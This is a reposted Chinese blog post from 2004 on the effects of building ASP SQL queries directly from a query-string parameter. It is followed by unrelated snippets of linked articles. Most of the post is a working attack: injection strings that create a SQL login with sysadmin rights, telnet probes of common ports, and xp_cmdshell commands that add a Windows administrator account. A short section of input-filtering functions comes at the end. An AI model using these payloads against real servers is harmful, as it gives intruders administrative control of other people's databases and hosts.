select .. where name = "+ Request.QueryString["name"]的后果?

转载 2004年07月01日 15:52:00

很多人用数据库发布的时候都用的sa,再加上"select .. where name = "+ Request.QueryString["name"]这样的操作,我们来看看结果是怎么样?!

[篇幅问题,具体命令自己查查]

把Request.QueryString["name"]的值改为:
1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户
2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组

用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..

不可以呢?
向下看

象上面编程的人安全意识都不高,看看他的机子有那些端口开着
telnet www.***.com 1433
telnet www.***.com 3389
telnet www.***.com 21
telnet www.***.com 139
telnet www.***.com 445
大多数都开着,下面我们就假设都开了!
运行下面的存储过程在他的sql查询分析器里,一条条运行
exec master.dbo.xp_cmdshell 'net user TEST Test /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators Test /add'

这样你就在他系统里建立了一个系统账号,TEST 上面建立的是sql帐号

后面想干什么我就不细说,有问我就答
防止攻击:
方法一——过滤单引号
function escape(input)
       input=replace(input,"'","''")
       escape=input
end function

方法二——拒绝已知的错误输入
function validate_string(input)
       known_bad=array("select","insert","update","delete","drop","—","'")
       validate_string=true
       for i=lbound(known_bad) to ubound(known_bad)
          if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
             validate_string=false
             exit function
          end if
       next
end function

方法三——只允许正确的输入
function validatepassword(input)
       good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
       validatepassword=true
       for i=1 to len(input)
          c=mid(input,I,1)
          if(InStr(good_password_chars,c)=0) then
               validatepassword=false
               exit function
          end if
       next
end function
http://community.csdn.net/Expert/topic/3129/3129144.xml?temp=.5659296

sql语句where子句like的用法详解

在SQL结构化查询语言中,LIKE语句有着至关重要的作用。 LIKE语句的语法格式是:select * from 表名 where 字段名 like 对应值(子串),它主要是针对字符型字段的,它的作...
  • u013045749
  • u013045749
  • 2015年05月16日 10:13
  • 4119

使用js获取QueryString的方法小结

一. urlinfo=window.location.href; //获取当前页面的url len=urlinfo.length;//获取url的长度 offset=urlinfo.indexO...
  • orichisonic
  • orichisonic
  • 2014年09月29日 14:30
  • 14270

ecshop 数据库调试技巧 【强烈推荐】

ecshop 数据库调试技巧 【强烈推荐】 因为ecshop 吧数据库操作都方式在日志数组中了 print_r($_GLOBALS); 就可以看到全貌 Array ( [GLOB...
  • zhangfeng1133
  • zhangfeng1133
  • 2015年11月07日 09:33
  • 7095

SELECT column_name(s)

  • 2008年05月23日 10:02
  • 121KB
  • 下载

Attribute value request.getParameter("name") is quoted with " which must be escaped when used

which must be escaped when used within the value 问题解决 访问JSP时,报错:Attribute value is quoted wit...
  • ly_rose
  • ly_rose
  • 2014年11月29日 19:22
  • 2145

No mapping found for HTTP request with URI [/xxx] in DispatcherServlet with name 'despatcherServlet'

遇到这个问题总结一下: 1. springmvc的配置文件没有被加载,所以这里特别说明一下,如果您使用的是maven项目,并且在web.xml文件中配置的springmvc配置文件在classpath...
  • panguang9713
  • panguang9713
  • 2017年07月27日 13:31
  • 742

关于request.getParameter(java.lang.String name)

//前段时间比较忙,好久不写日志了。总结个基础的问题,在Grails中写java代码果然会遭报应,出错了经常没提示... 问题重现:为了便于处理分页,在前端页面添加了一个参数,定义如下: 【1】Ap...
  • alaahong
  • alaahong
  • 2013年11月20日 14:23
  • 1760

后台如何通过Request取得多个含有相同name的控件的值?

在Asp.net开发中,所有html控件的值都是可以在服务器端用后台代码的Request[name]来获取其值的。但如果有多个相同name的Html控件提交到后台,怎么分别取各个控件的值呢?而多数情况...
  • yenange
  • yenange
  • 2012年02月25日 20:14
  • 4584

Neither BindingResult nor plain target object for bean name 'command' available as request attribute

在学习Spring MVC的过程中,当使用了Spring中自带的标签时,就碰到了Neither BindingResult nor plain target object for bean name ...
  • luo_boke
  • luo_boke
  • 2017年07月11日 10:21
  • 1315

PHP $_SERVER["QUERY_STRING"]、$_SERVER["REQUEST_URI"]、$_SERVER["SCRIPT_NAME"]和$_SERVER["PHP_SELF"]

本文作者:林子木,wolinxuebin 转载请保留:http://blog.csdn.net/wolinxuebin 导读:本文分两部分,第一部分转自一篇文章,第二部分是作者在转...
  • wolinxuebin
  • wolinxuebin
  • 2012年06月04日 11:35
  • 1497
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:select .. where name = "+ Request.QueryString["name"]的后果?
举报原因:
原因补充:

(最多只允许输入30个字)